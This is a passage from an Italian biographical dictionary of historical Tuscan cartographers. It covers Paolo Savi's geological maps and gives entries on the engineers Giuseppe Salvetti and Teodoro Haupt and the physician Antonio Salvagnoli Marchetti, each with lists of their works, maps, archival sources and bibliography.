Intanto, nel 1832 aveva pubblicato la Carta geologica dei Monti Pisani levata dal vero dal Prof. Paolo Savi nella proporzione di 1:80.000 (IGM, Collezione Fossombroni, n. 40; e SUAP, RAT 549), su incisione dell’architetto Felice Francolini: una rappresentazione oggi rara che costituisce un vero e proprio prototipo – dopo il pionieristico tentativo di Vittorio Fossombroni del 1828 relativo alla carta del bacino idrografico del fiume Ombrone grossetano contenente un abbozzo di costruzione geologica (in ASF, Segreteria di Gabinetto Appendice, f. 144, Memorie sulla Grossetana, Arezzo, 28 maggio e 10 agosto 1828) – della cartografia tematica italiana e, insieme, l’avvio della scienza geologica moderna in Toscana e in Italia. Con velature cromatiche e segni convenzionali si evidenziano i vari tipi di rocce e terreni (di alluvione, interrimento, macigno, galestro, calcare, ecc.), con i minerali, le sorgenti e grotte o fenomeni carsici presenti nel vasto territorio collinare tra Pisa e Lucca, tra il Serchio e il comprensorio di Bientina (ripreso anche panoramicamente da sud-ovest dalla via Maremmana), di cui non si manca di riportare insediamenti e strade (con le rispettive valenze gerarchiche e funzionali), ponti e traghetti, acquedotti e argini artificiali, principali altitudini.
Dopo la pubblicazione nel 1838 della più circoscritta Carta topognomica della Miniera di Montevaso, nel 1841, fu la volta della Carta geologica dell’Isola d’Elba che fu presentata a stampa alla terza riunione degli scienziati italiani di Firenze; nel 1846, della Carta geologica della parte della Toscana in cui più o meno fortemente si fece sentire il terremoto del 14 agosto 1846, vale a dire la parte occidentale (figura manoscritta in ASF, Segreteria di Gabinetto Appendice, f. 251); nel 1847, della Carta geologica montanistica del Massetano disegnata per la Società Anonima delle Miniere di Val Castrucci e Rigo all’Oro e pubblicata nella specifica memoria dello stesso anno.
Nonostante le sollecitazioni avanzate dal nostro naturalista negli anni ’30 e ’40, solo il 15 maggio 1850, su proposta del ministro Boccella, il governo granducale discusse la possibilità di procedere alla realizzazione della carta geologica della Toscana che, “a somiglianza di quelle che sono state fatte nelle più colte parti d’Europa, dovrà contribuire al progresso della scienza e al vantaggio dell’industria mineraria, additando le varie qualità di terreno che costituiscono il nostro suolo, servirebbe ancora al maggior decoro del Paese” (ASF, Segreteria di Gabinetto Appendice, f. 249, ins. 9). Dell’esecuzione avrebbe dovuto essere incaricato il Savi con l’assistenza del collega pisano Giuseppe Meneghini, ma alla fine il progetto non venne approvato.
Corre obbligo di rilevare che nel 1839, proprio durante il primo incontro pisano degli scienziati italiani fu istituita una commissione per stabilire le norme per l’uniformazione della nomenclatura e dei cromatismi in tema di geo-mineralogia italiana, nella prospettiva della costruzione di carte geologiche regionali uniformi; ma solo nella sesta riunione milanese del 1844 furono decisi i criteri per la colorazione delle diverse formazioni geologiche, in analogia con la Carta Geologica di Francia (Morello, 1983 e 1989).
La carta geologica dell’Italia settentrionale doveva essere realizzata solo nei tempi unitari, per conto dello Stato Maggiore da una équipe di geologi di cui fece parte anche l’allievo ed accademico pisano Igino Cocchi, che utilizzò pure i precedenti lavori del maestro e del Regio Consultore lorenese Teodoro Haupt.
Tra l’altro, Igino Cocchi è autore della Carta geologica della parte orientale dell’Isola d’Elba alla scala di 1:50.000 (edita pure in PULLE’ G., Monografia agraria del Circondario della Isola dell’Elba, con cenno storico, Portoferraio, Tip. Elbana, 1879, che fu poi inserita nel volume toscano dell’inchiesta agraria Jacini curato da Carlo Massimiliano Mazzini) (Francovich e Rombai, 1990, p. 699; Rombai e Vivoli, 1996, pp. 161-162).
Prodotti di assoluto valore sono quelli di Bernardino Lotti (Pisa, 1847 – Roma, 1933), ingegnere del Corpo delle Miniere, che nel 1878 disegnò l’Abbozzo di Carta Geologica di una parte della Catena Metallifera compresa tra i fiumi Cecina e Ombrone, nella proporzione di 1:200.000 (Azzari, a cura di, 2006, pp. 7 e 26), e che doveva pubblicare innumerevoli saggi e volumi sulla geologia della Toscana, della Sardegna e dell’Italia (compresa la monografia descrittiva della Carta Geologica d’Italia per la Toscana nel 1910); e dell’ing. Domenico Zaccagna (1851-1940) del R. Ufficio Geologico, che tra il 1879 e la metà degli anni ‘90 costruì la Carta geologica delle Alpi Apuane alla scala di 1:25.000, edita dall’Istituto Geografico De Agostini di Novara in 18 fogli nel 1894-96 (IGM, nn. 2331 e 3880 d’inv. gen.: Istituto Geografico Militare, 1934, p. 320).
Studi geologici sulla Toscana, Pisa, Nistri, 1833;
Sulla scorza del globo terrestre e sul modo di studiarla, Pisa, Nistri, 1834;
Sulla miniera di ferro dell’isola d’Elba, Pisa, Nistri, 1836;
Rapporto sulle speranze metallurgiche e sullo stato presente della miniera di Montevaso diretto al Consiglio amministrativo della Società anonima per l’escavazione delle dette miniere, Firenze, Tip. Galileiana, 1838;
Alcune considerazioni sulla cattiv’aria delle Maremme Toscane, Pisa, Nistri, 1839;
Sopra i carboni fossili dei terreni mioceni delle Maremme Toscane, Pisa, Nistri, 1843;
Relazione de’ fenomeni presentati dai terremoti di Toscana dell’agosto 1846, e considerazioni teoretiche sopra i medesimi, Pisa, Nistri, 1846;
Sulla costituzione geologica dei Monti Pisani, Pisa, Vannucchi, 1846;
Società anonima per l’escavazione delle miniere esistenti in prossimità di Massa Marittima, Maremma Toscana, Livorno, Masi, 1847;
Studi geologico-agricoli sulla pianura pisana (15 febbraio 1856), “Continuazione Atti dell’Accademia dei Georgofili”, n. s., III (1856), pp. 57-68;
Memoria sul modo più conveniente di favorire con la istruzione la industria mineraria in Toscana presentata al Governo della Toscana il 7 marzo 1860, in Della legislazione mineraria e delle scuole delle miniere. Discorsi due compilati per commissione di S. E. il Ministro d’agricoltura, industria e commercio, Firenze, Felice Le Monnier, 1861, pp. 196-201 (scritta con Meneghini G.).
Saggio sulla costituzione geologica della Provincia di Pisa, Pisa, Nistri, 1863 (con Appendice. Notizie sulle due carte geologiche le quali accompagnano il presente scritto).


Produzione di cartografia manoscritta:
Carta topognomica della Miniera di Montevaso, in Rapporto sulle speranze metallurgiche e sullo stato presente della miniera di Montevaso diretto al Consiglio amministrativo della Società anonima per l’escavazione delle dette miniere, Firenze, Tip. Galileiana, 1838;
Carta geologica dei Monti Pisani levata dal vero dal Prof. Paolo Savi nella proporzione di 1:80.000, incisione dell’architetto Felice Francolini, 1832;
Carta della Toscana con i territori costieri risanati e quelli malarici, stampa, 1839;
Carta geologica dell’Isola d’Elba, stampa, 1841;
Carta geologica della parte della Toscana in cui più o meno fortemente si fece sentire il terremoto del 14 agosto 1846, figura manoscritta (ASF, Segreteria di Gabinetto Appendice, f. 251);
Carta geologica montanistica del Massetano, stampa, 1847.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
D’Achiardi, 1871; Istituto Geografico Militare, 1934, p. 309; Azzari e Rombai, 1986, pp. 122-124; Francovich e Rombai, 1990, p. 699; Rombai e Vivoli, 1996, pp. 161-163; Vitali, 1996, pp. 312, 314 e 324; Barsanti e Rombai, 1986, p. 147; Morello, 1983, pp. 69-82; Morello, 1989, pp. 125-127; Squarzina, 1960, pp. 48-55; 1860-1960. Centenario del Corpo delle miniere, 1960; Zangheri, a cura di, 1984, p. 54; Pesendorfer, a cura di, 1987, pp. 136, 217, 224-225, 273-274 e 479; Corsi, 2001; Azzari, a cura di, 2006, pp. 7, 26, 34 e 53; ASF, Segreteria di Gabinetto Appendice; IGM, Collezione Fossombroni; SUAP, RAT.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Salvetti, Giuseppe

Giuseppe Salvetti
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere e architetto granducale

Biografia:
Almeno dal 1770 e per circa un ventennio fu il capo ingegnere e quindi fu al vertice della burocrazia tecnica dello Stato lorenese. In tale veste fu anche il principale collaboratore – con tanto di autonomia che non di rado si tradusse in posizione critica – dei vari matematici che svolsero il ruolo di coordinatori delle politiche territoriali granducali, come Tommaso Perelli e Leonardo Ximenes, Pietro Ferroni, Pio Fantoni e Vittorio Fossombroni.
Il granduca Pietro Leopoldo nelle sue Relazioni lo definì alla fine degli anni ‘80 "uomo di sufficiente abilità" ed "onesto", ma che si dimostrava poi "lento e comodo nelle sue commissioni", eseguendo "i suoi lavori con troppo lusso e magnificienza" e fidandosi " dei suoi giovani e capimaestri, per i quali ha delle preferenze e le spese crescono a dismisura" (Pietro Leopoldo d’Asburgo Lorena, 1969, I, pp. 81 e 125).
Fra i suoi allievi viene ricordato l'ingegnere fiorentino Gaspero Pampaloni.

Produzione scientifica:
Nell’impossibilità di elencare tutti gli incarichi che lo videro protagonista, si ricordano almeno quelli principali.
Nel 1766-68 fu in Valdichiana con il collega Angelo Maria Mascagni per progettare la colmata a sinistra del Canale Maestro tra il Callone di Toscana e il Ponte di Valiano, poi eseguita col matematico Pietro Ferroni nel 1771-72 (Barsanti e Rombai, a cura di, 1994, p. 174).
Nel 1769, sempre in Valdichiana, collaborò con Tommaso Perelli (insieme a Bombicci e Veraci) per elaborare – contro il piano di Ximenes contrario al proseguimento delle colmate e favorevole allo sbassamento della Chiusa dei Monaci per consentire almeno il parziale prosciugamento naturale della valle – un progetto minimale incentrato sulla ripulitura del Canale Maestro, il miglioramento delle confluenze nel Canale dei suoi tributari e il rifacimento ad una sola arcata dei Ponti di Arezzo. Nell’occasione, disegnò il Profilo della livellazione del Canal Maestro della Chiana dalla Pescaia dei Monaci della Badia di S. Flora e Lucilla della Città di Arezzo fino al Callone fatta nel mese di Giugno dell’anno 1769 nell’occasione della Visita del Matt.co Tommaso Perelli dall’Ing.re Salvetti, poi inciso da Giovanni Canocchi nel 1789 nelle Memorie del Fossombroni (Barsanti e Rombai, 1986, p. 101; e Di Pietro, 2005, pp. 123-124).
Il 21 gennaio 1768, con A. Tosi, redasse una Relazione ai Deputati sopra le Strade sul tratto Incisa-Malafrasca di Levane della via Aretina in corso di costruzione come arteria rotabile; sempre per questa importante direttrice nel 1770 stese una memoria progettuale per il nuovo tratto tra Levane ed Arezzo per Pratantico (in ASF, Segreteria di Finanze ante 1788, f. 867, ins. 1770; Sterpos, 1977, pp. 3 e 13; Pieri, 1997, pp. 74-75 e 88).
Nel 1771, stese insieme al padre Vestrini una perizia sui torrenti Cilone, Vingone e Biguerro che – con provenienza dalla Val di Chio – rendevano difficile il travaso delle acque nel Canale Maestro a seguito della loro abnorme opera di deposito alluvionale (Di Pietro, 2005, p. 125), e il 23 dicembre dello stesso anno scrisse una Memoria sulle Maremme per il granduca Pietro Leopoldo, in previsione o a consuntivo di una visita sovrana nell’area (SUAP, RAT, Petr Leopold, ms. 7, cc. 512r-525r: Bonelli Conenna, a cura di, 1997, p. 29).
Nel 1772 redasse relazioni e progetti preliminari per la rifondazione dei Bagni di Montecatini (Cresti, 1984, pp. 12 ss.).
Nel 1774 operò con Ximenes per ricercare la linea migliore onde tracciare la nuova strada Modenese sui tornanti che dal ponte del Sestaione conducono al valico di Boscolungo poi Abetone, e fu proprio la proposta Salvetti (ASF, Segreteria di Finanze ante 1788, f. 1087, minuta della relazione Salvetti del 23 maggio 1774) ad essere approvata dal granduca (Tognarini, a cura di, 1990, pp. 130-131; e Sterpos, 1977, p. 7). Con lo stesso scienziato gesuita, tra il 1773 e il 1783, provvide ad ammodernare la strada Lucchese in Valdinievole e a progettare e costruire la Traversa della Valdinievole tra la Lucchese a Borgo a Buggiano e la Pisana alle Fornacette (Rombai e Romby, 1988, p. 18).
Nel 1775 fu inviato nella Maremma Grossetana, con altri deputati (tra cui Ferroni) per verificare lo stato della bonifica condotta da quasi un decennio nel comprensorio della grande zona umida di Castiglione della Pescaia da Leonardo Ximenes; l’ingegnere collaborò con il matematico per la redazione nell’anno seguente di alcune delle memorie rimaste inedite (quella d’insieme Visita generale della Provincia Inferiore di Siena, e le tematiche Memoria sopra i laghi e paludi sparsi nei vari territori tanto della Maremma Senese, quanto ancora degli Stati adiacenti, e Relazione sopra le paludi adiacenti alla Città di Massa Marittima) e delle manoscritte carta della pianura di Grosseto e del corso del fiume Bruna del 1776 (ASF, Segreteria di Finanze ante 1788, f. 749, Memorie, con le figure alle cc. 1-2).
Tra il 1777 e il 1779 tornò ad occuparsi della Strada Aretina: il 17 novembre 1777 fu incaricato di visitare il territorio e di approntare – come fece – la cartografia necessaria che, esaminata dal granduca, il 25 agosto 1778 valse all’approvazione dei lavori che dovevano essere ultimati nel 1787 (Pieri, 1997, pp. 74-75 e 88).
Negli stessi anni stese anche la Relazione sulla Strada Aretina in preparazione della visita sovrana in Romagna e Valdichiana (SUAP, RAT, Petr Leopold, ms. 15, cc. 142r-150r: Bonelli Conenna, a cura di, 1997, p. 35) e altre memorie con piante per la costruzione della via della Valdichiana nel tratto Arezzo-Cerro-Ponte a Chiani (Sterpos, 1977, p. 14), e – mentre accompagnava il granduca, a Torrita, il 9 settembre 1777 – redasse anche una memoria sulla Chiana insieme a Cini (SUAP, RAT, Petr Leopold, ms. 18, cc. 979r-986r: Bonelli Conenna, a cura di, 1997, p. 38).
Nel 1778 – nell’occasione della visita in Valdichiana di Pietro Leopoldo – dovette ricevere la censura sovrana per i lavori idraulici che aveva diretto negli ultimi anni e che per l’esigente principe non erano stati eseguiti a regola d’arte anche per “l’indolenza” del capo ingegnere (Barsanti e Rombai, 1986, p. 102).
Ma la fiducia sovrana nei confronti del tecnico non dovette venir meno se proprio nel 1778 quest’ultimo venne incaricato dallo stesso Pietro Leopoldo di collaborare con Leonardo Ximenes nell’esame dei vari percorsi (ideati dal matematico Pietro Ferroni) per la costruzione della strada rotabile (oppure anche di una nuova e agevole idrovia) tra la Valdinievole e il porto di Livorno che in qualche modo doveva mettere la via Modenese in rapporto con lo scalo labronico in modo più veloce, evitando cioè il nodo di Firenze e il corso dell’Arno (Tognarini, a cura di, 1990, p. 19); se il 20 e 27 luglio dello stesso anno si occupò delle condizioni della via Pistoiese nei due rami per Prato e per Poggio a Caiano (Sterpos, 1977, p. 6); e se il 28 novembre dello stesso anno redasse una memoria sui ponti della Cecinella, delle Fornacette e di Pontedera sulla via Pisana (Sterpos, 1977, p. 4).
Del resto, sempre nel contesto territoriale chianino si occupò anche di questioni confinarie, realizzando nel 1778 la Pianta della confinazione concordatata fra i deputati pontifici e toscani l'anno 1777... (in diverse copie in ASF, Miscellanea di Piante, n. 541; e anche in ASS, Piante dei Quattro Conservatori, nn. 245-246 e 264-266), con il matematico Pietro Ferroni per la Toscana e il matematico Francesco Maria Gaudio e l'ingegnere Francesco Tiroli per lo Stato della Chiesa; e nel 1779 disegnò la Pianta del Lago Trasimeno... e Pianta della campagna che si estende dal Lago Trasimeno... (in SUAP, RAT 248 e 250), copiate da due disegni originali di Andrea Chiesa (fatti in occasione della formazione dell'Estimo di Perugia), sottoscritte dal Salvetti e da Ferroni (per la Toscana) e dai tecnici di parte pontificia, vale a dire il canonico Pio Fantoni (matematico del Papa) e Pietro Paolo Qualeatti (ingegnere pontificio).
Nel 1778 redasse con Ferroni una memoria sulla via Lauretana (SUAP, RAT, Petr Leopold, ms. 22, cc. 159r-173v: Bonelli Conenna, a cura di, 1997, p. 42).
Nel 1779 fece con Ximenes la visita delle strade e dei canali della Valdinievole e della Valdichiana
(Barsanti e Rombai, a cura di, 1994, passim). In quello stesso anno, in Valdichiana diresse l’escavazione di un nuovo canale dal Callone di Valiano al chiaro di Montepulciano che produsse il rapido prosciugamento delle Chiarine, con conseguente costruzione di un altro canale unente i due chiari di Montepulciano e di Chiusi (Di Pietro, 2005, p. 129).
Nel 1780 fece nuovamente parte della deputazione di tecnici e funzionari che, in Valdichiana, nell’area di confine fra Granducato e Stato Pontificio, doveva provvedere, e provvide, alla stipulazione del concordato definitivo fra i due Stati, sotto la direzione scientifica dei due matematici Pietro Ferroni per la Toscana e Pio Fantoni per il papa. Tra l’altro, Salvetti fu successivamente incaricato con Ferroni di redigere il regolamento per l’apertura del Callone di Valiano (Barsanti e Rombai, a cura di, 1994, p. 174; e Di Pietro, 2005, pp. 129-130).
Non è da dimenticare che contemporaneamente, tra il 1778 e il 1781, Salvetti dovette assistere ai lavori di costruzione della strada regia della Valdichiana (detta Cassia) tra Firenze e lo Stato Pontificio, che era stata progettata dallo stesso ingegnere (Di Pietro, 2005, p. 131).
Nel 1780-85 fu nuovamente in Valdichiana col matematico Ferroni e con suoi allievi per eseguire le colmate in Val di Tresa e alle Bozze di Chiusi (Barsanti e Rombai, a cura di, 1994, p. 174).
Tra ottobre e novembre 1781 preparò il piano di rilevamento topografico dei beni fondiari e insediativi delle quattro fattorie lorenesi di Pitigliano, Sorano, San Giovanni alle Contee e Castell’Ottieri, come operazione propedeutica all’alienazione del vasto patrimonio pubblico disposto con mp del 2 maggio 1781, poi effettuata da quattro giovani ingegneri granducali Camillo Borselli, Antonio Capretti, Stefano Diletti e Salvatore Piccioli, allievi del matematico Pietro Ferroni: le prescrizioni per tale lungo lavoro furono infatti date da Salvetti, in forma di redazione di mappe alla “medesima scala degli Estimi”, cioè del catasti geometrici che dal 1780 in poi si stavano realizzando, a titolo sperimentale, in varie Comunità del Fiorentino (Valdinievole e Montagna Pistoiese) e del Senese (Rombai, 1982, p. 19).
Nel 1783 era responsabile della direzione dei lavori per la costruzione del nuovo Cimitero Suburbano di Pisa.
Tra il 1784 e il 1787 operò per conto dell'Ordine dei Cavalieri di S. Stefano, eseguendo le piante di edifici posti in Firenze, facenti parte dei beni dell'Ordine: Baliato di Cortona Gangiotti-Rinaldi (1784, disegni realizzati in collaborazione con Giovanni Franceschi e Gaetano Bercigli) e Baliato di Cortona Giugni (1787, in collaborazione con Giovanni Franceschi e Giuseppe Manetti) (in ASP, Archivio dell'Ordine di S. Stefano, n. 4498, inss. 14 e 20).
Nel 1782, Salvetti ebbe la direzione dei lavori del primo tratto Pontassieve-Ponticino di San Godenzo della nuova via di Romagna (Sterpos, 1977, p. 33), che però fu ultimata nel tratto di valico verso la Romagna soltanto negli anni ‘30 del XIX secolo, con l'apertura del passo del Muraglione. Nel 1787, progettò la strada fra le comunità di Montepulciano, Sarteano e Chianciano (Barsanti e Rombai, a cura di, 1994, pp. 166 e 171), ed ebbe l’incarico di affiancare Pietro Ferroni nell’impegnativa esplorazione della dorsale appenninica per poter scegliere il tracciato migliore ove indirizzare la via di Romagna (Sterpos, 1977, p. 33).
Contemporaneamente, egli si occupò del progetto e dei lavori di riadattamento della Strada Lauretana, importante direttrice di collegamento fra Siena e la Valdichiana. Già il 17 novembre 1773, Salvetti indirizzò al granduca una memoria d’insieme in cui suggeriva il restauro della vecchia e malmessa via, dotandola però di un ponte in muratura in luogo del guado sul fiume Arbia a Taverne d’Arbia; la proposta fu accolta e l’anno successivo cominciarono i lavori che si trascinarono per molti anni e poterono completarsi solo nel 1788, dopo che il capo ingegnere fu affiancato dal matematico Ferroni (Sterpos, 1977, pp. 7 e 27-30).
Sempre nel 1785 ebbe l'incarico di trasformare il soppresso monastero fiorentino di San Jacopo a Ripoli (in Via della Scala) in conservatorio per nobili fanciulle (Conservatorio delle Montalve); nel 1787 progettò invece nuove soluzioni per l'Ospedale di S. Bonifazio sempre a Firenze.
Ancora nel 1785, la committenza granducale richiese un progetto per la nuova fabbrica della fattoria delle Cascine; all'invito risposero Gaspero Maria Paoletti e Giuseppe Manetti (allora ventiquattrenne); nel 1787 fu scelto, in seguito a pesanti correzioni, il progetto di quest'ultimo a patto che al giovane architetto fosse affiancato nella messa in opera dal più esperto Salvetti.
Nel 1786 circa progettò la realizzazione di un fosso regolatore ad uso di alcuni mulini nella piana tra Anghiari e Sansepolcro, lavoro approvato con decreto granducale del 23 maggio 1786 ed eseguito sotto la direzione dell'ingegnere Anastasio Anastasi/Anastagi.
Nei mesi di aprile e maggio 1788 accompagnò il matematico Fantoni in un’accurata visita della pianura di Grosseto per verificare lo stato della bonifica ximeniana che dal 1781 era diretta – con vari correttivi soprattutto a favore delle colmate – dal matematico Ferroni (Salvadori, 1994, p. 207): nell’occasione, progettò lavori di restauro e perfezionamento al monumentale acquedotto di Castiglione costruito pochi anni prima da Ximenes (Barsanti, 1984, p. 140).
Sempre nel 1788, affiancò Pietro Ferroni nella redazione della grande Pianta che dimostra l’andamento dei principali Fiumi e Fossi e Strade di tutta la Val di Chiana (ASF, Camera delle Comunità e Luoghi Pii, f. 1548) (Rombai, 1987, p. 314).
Nel 1789, si occupò del progetto del ponte sul fiume Serchio a Ponte a Serchio con relativa variante della via da Pisa per Pietrasanta (Sterpos, 1977, p. 19).

Produzione di cartografia manoscritta:
Pianta del Palazzo Portinari-Salviati in Firenze, con Gaspero Maria Paoletti, 1768 circa (AS, Buste I, n. 129, fasc. 18);
Pianta topografica generale del Lago di Castiglione, con Pietro Ferroni, 1776 (ASF, Segreteria di Finanze ante 1788, f. 749, c. 1);
Pianta d’una porzione del corso del Fiume Bruna, con Pietro Ferroni, 1776 (ASF, Segreteria di Finanze ante 1788, f. 749, c. 2);
Valdichiana – Pianta della confinazione concordatata fra i deputati pontifici e toscani l'anno 1777..., con il matematico Pietro Ferroni per la Toscana e il matematico Francesco Maria Gaudio e l'ingegnere Francesco Tiroli per lo Stato della Chiesa, 1778 (ASF, Miscellanea di Piante, n. 541; e ASS, Piante dei Quattro Conservatori, nn. 245-246 e 264-266);
Pianta del Lago Trasimeno... e Pianta della campagna che si estende dal Lago Trasimeno..., 1778, copiate da due disegni di Andrea Chiesa, con Pietro Ferroni (per la Toscana) e con il canonico Pio Fantoni e Pietro Paolo Qualeatti per lo Stato della Chiesa (SUAP, RAT 248 e 250);
Piante di edifici in Firenze dell'Ordine di Santo Stefano: Baliato di Cortona Gangiotti-Rinaldi (1784, con Giovanni Franceschi e Gaetano Bercigli) e Baliato di Cortona Giugni (1787, con Giovanni Franceschi e Giuseppe Manetti) (ASP, Archivio dell'Ordine di S. Stefano, n. 4498, inss. 14 e 20);
Pianta del Fiume Cecina con alcuni ripari da costruire, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 629);
Pianta topografica del territorio appenninico al confine fra Toscana e Contea di Castiglione de' Pepoli, con l'ingegnere deputato della Contea Domenico Marsi Viaggi, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 499);
Pianta che dimostra l’andamento dei principali Fiumi e Fossi e Strade di tutta la Val di Chiana, con Pietro Ferroni (attrib.), 1788 (ASF, Camera delle Comunità e Luoghi Pii, f. 1548).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Pietro Leopoldo d’Asburgo Lorena, 1969, I, pp. 81 e 125; Sterpos, 1977, passim; Barsanti e Rombai, 1986, pp. 101-102 e 174; Rombai e Romby, 1988, p. 18; Cresti, 1984, pp. 12 ss.; Cresti, 1987, pp. 159-167; Rombai, Toccafondi e Vivoli, 1987, pp. 378, 390, 417; Rombai, 1982, p. 19; Rombai, 1987, p. 314; Karwacka Codini e Sbrilli, 1987, pp. 37-42; Tognarini, a cura di, 1990, pp. 19 e 130-131; Vichi, 1990, pp. 54-56; Barsanti, 1984, p. 140 e figg. 53-54; Barsanti, 1991, pp. 186 e 189; Archivio di Stato di Firenze, 1991, pp. 342-349; Vivoli, 1992, p. 75; Barsanti e Rombai, a cura di, 1994, passim; Salvadori, 1994, p. 207; Melis, 1996, p. 261; Bonelli Conenna, a cura di, 1997; Pieri, 1997, pp. 74-75 e 88; Di Pietro, 2005, pp. 123-131; ASF, Segreteria di Finanze ante 1788; ASF, Miscellanea di Piante; ASP, Archivio dell'Ordine di S. Stefano; ASS, Piante dei Quattro Conservatori; AS; SUAP, RAT, Petr Leopold, ms. 7, cc. 512r-525r; ms. 15, cc. 142r-150r; ms. 18, cc. 979r-986r.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Salvagnoli Marchetti, Antonio

Antonio Salvagnoli Marchetti
N. Empoli 13 agosto 1810
M. Empoli 28 luglio 1878

Relazioni di parentela: Nacque ad Empoli il 13 agosto 1810 dal dottor Cosimo, appartenente ad una delle più antiche famiglie di quella cittadina, ove il nostro morì il 28 luglio 1878.

Ente/istituzione di appartenenza:
Qualifica: Medico ispettore sanitario della Maremma.

Biografia:

Produzione scientifica:
E’ autore di due memorie a stampa sulla Maremma nel 1845-46 contenenti entrambe una figura tematica, la Carta sanitaria della Provincia di Grosseto, con l’indicazione mediante velature di colore della diffusione territoriale più o meno grave della malaria. La seconda opera presenta pure un’importante – perché aggiornata in fatto di contenuti topografici – Carta geografica della Provincia di Grosseto estratta dalla Carta geometrica della Toscana, rettificata ed accresciuta di notizie sui recenti miglioramenti fino al 1845.
Queste due sue memorie hanno un’impostazione non solo sanitaria ma più in generale geografico-umana e statistica (Rombai, 1989, p. 123).
Tra il 1842 e il 1868, Salvagnoli Marchetti scrisse pure – con loro pubblicazione nella “Continuazione degli Atti dell’Accademia dei Georgofili” e nel “Giornale Agrario Toscano” – decine di memorie sui problemi agrari e più in generale economici e ambientali della Maremma (Rombai, 1980).
Nel 1847, si occupò anche del complesso problema della bonifica e del risanamento del Padule di Scarlino e della bassa Val di Pecora con una memoria inedita del 26 aprile, intitolata Osservazioni sul Padule di Scarlino dedicate a S. A. R., ove tra l’altro suggerisce il modo di dividere e sistemare il terreno già prosciugato per la sua messa a coltura in “grandi campi larghi almeno Braccia 200, delimitati da regolari scoline e da piantate di pioppi; le Osservazioni sono corredate di una bella carta topografica dell’area (ASF, Segreteria di Gabinetto Appendice, f. 182, inss. 9 e 18) (Azzari e Rombai, 1986, p. 124).
A partire dall’aprile 1859, con il nuovo Governo Provvisorio guidato da Bettino Ricasoli, Salvagnoli Marchetti coadiuvò il matematico Gaetano Giorgini nella bonifica maremmana, con opere volte ad applicare ponti cateratte agli emissari dei paduli maremmani da San Vincenzo al Chiarone.
Per la prima volta, i lavori investirono l’Orbetellano, con la chiusura dell’emissario della Peschiera di Fibbia nella laguna di Orbetello, con l’escavazione del fosso Bentegodi e del fosso Primo, e con l’apertura di un nuovo canale parallelo al Tombolo di Burano per essiccare le piccole zone umide retrodunali di Macchiatonda e della Tagliata.
I risultati non furono pari alle attese, e Giorgini e Salvagnoli Marchetti dovettero difendere il loro operato con vari rapporti editi nel 1859 e nel 1860.
Il Rapporto al governo toscano del 1859 contiene le due tavole Padule di Castiglione e sue adiacenze nel 1859 dell’I. e R. Laboratorio e Carta geografica della Provincia di Grosseto estratta dalla Carta geometrica della Toscana, rettificata ed accresciuta di notizie sui recenti miglioramenti fino al 1859, oltre alla ximeniana Carta topografica generale del Lago di Castiglione e sue adiacenze fino alla radice de’ Poggi utilizzata nel 1788 da Pio Fantoni per illustrare la sua Memoria idraulica sulla pianura di Grosseto.
Il Rapporto del 1860 contiene invece tre carte topografiche in scala 1:100.000 relative ad altrettante sezioni del territorio costiero maremmano tra Livorno e il Fiora fatto oggetto di bonifica.
Saggio illustrativo le tavole della statistica medica delle Maremme Toscane compilate per ordine di S.A.I. e R. il Granduca di Toscana. Secondo biennio 1842-43 e 1843-44, Firenze, Le Monnier, 1845;
Memorie economico-statistiche sulle Maremme Toscane con appendice e due carte topografiche, Firenze, Le Monnier, 1846;
Saggio di studi storici sul Bonificamento delle Maremme, Firenze, Galileiana, 1850.
Rapporto a Sua Eccellenza il Presidente del Regio Governo della Toscana sul Bonificamento delle Maremme Toscane dal 1828-29 al 1858-59, Firenze, Tip. delle Murate, 1859;
Rapporti a Sua Eccellenza il Governatore Generale della Toscana sulle operazioni idrauliche ed economiche eseguite nel 1859-60 nelle Maremme Toscane, Firenze, Tip. delle Murate, 1860 (scritto insieme a Gaetano Giorgini).

Produzione di cartografia manoscritta:
Carta sanitaria della Provincia di Grosseto, stampa, 1845;
Carta geografica della Provincia di Grosseto estratta dalla Carta geometrica della Toscana, rettificata ed accresciuta di notizie sui recenti miglioramenti fino al 1845, stampa, 1846;
Carta topografica manoscritta del Padule di Scarlino con il modo di dividere e sistemare il terreno già prosciugato per la sua messa a coltura, 1847 (ASF, Segreteria di Gabinetto Appendice, f. 182, ins. 18);
Padule di Castiglione e sue adiacenze nel 1859, stampa, 1859;
Carta geografica della Provincia di Grosseto estratta dalla Carta geometrica della Toscana, rettificata ed accresciuta di notizie sui recenti miglioramenti fino al 1859, stampa, 1859;
Tre carte topografiche di altrettante sezioni del territorio costiero maremmano tra Livorno e il Fiora, stampe, 1860.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Barsanti, 1984; Azzari e Rombai, 1986, p. 124; Rombai, 1980, pp. 106 ss.; Rombai, 1989, p. 123; Pertempi, a cura di, 990, p. 50; Barsanti e Rombai, 2004; ASF, Segreteria di Gabinetto Appendice.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Haupt, Teodoro

Teodoro Haupt
N. Freiberg 1807
M. Firenze 1867

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere minerario

Biografia:
L’ingegnere minerario sassone Teodoro Haupt nacque a Freiberg nel 1807 e morì a Firenze nel 1867.

Produzione scientifica:
Nell’arco di circa quindici anni di attività, oltre a costituire “la massima autorità tecnica in materia”, e ad accompagnare il sovrano in numerose gite nel bacino estrattivo punteggiato da miniere in via di graduale attivazione grazie anche e soprattutto alle “indefesse ispezioni” dell’Haupt (Pesendorfer, a cura di, 1987, p. 481), fu autore di ben 16 carte geologiche o geognostiche a varia scala, relative ai bacini carboniferi di Montebamboli, Casteani e Sassofortino in Maremma, del Valdarno di Sopra, di Quarata e Valdichiana, di Montefollonico e di Casole nel Senese, alle cave di ferro dell’Elba orientale e di altre miniere o giacimenti non coltivati (Vitali, 1996, p. 317).
